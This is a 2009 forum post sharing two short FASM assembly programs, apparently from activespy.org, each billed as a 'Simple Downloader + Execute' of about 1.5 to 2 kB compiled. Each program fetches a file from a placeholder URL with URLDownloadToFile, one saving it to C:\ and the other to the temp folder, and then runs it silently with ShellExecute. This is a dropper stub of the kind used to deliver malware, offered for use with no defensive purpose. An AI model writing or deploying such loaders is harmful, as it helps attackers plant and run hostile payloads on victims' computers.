Nytro Posted August 10, 2009 Report Posted August 10, 2009 ;Simple Downloader + Execute (1.50kb compiled);by iNs;activespy.orginclude 'win32ax.inc'.codeinizio:invoke URLDownloadToFile,NULL,"http://www.site.com/filetodownload.ext","C:\downloaded.txt",NULL,NULL ;download fileinvoke ShellExecute,0,0,"C:\downloaded.txt",0,0,SW_SHOW ;run downloaded fileinvoke ExitProcess,0.end inizioDownload file in TempPath (2kb compiled) :;Simple Downloader + Execute;Save file in TempPath; by iNs; activespy.orginclude 'win32ax.inc'.dataTmpName db 'new.txt',0Tmpdir rb 256d ;256chrs.codeinizio:invoke GetTempPath,Tmpdir,Tmpdir ;get temppathinvoke lstrcat,Tmpdir,TmpName ;append invoke lstrcpy,TmpName,Tmpdir ;copyinvoke URLDownloadToFile,NULL,"http://www.site.org/a.txt",TmpName,NULL,NULL ;download file in temppathinvoke ShellExecute,0,0,TmpName,0,0,SW_SHOW ;run downloaded fileinvoke Sleep,3000 ;sleep 3 secondsinvoke ExitProcess,0 ;quit.end inizio Quote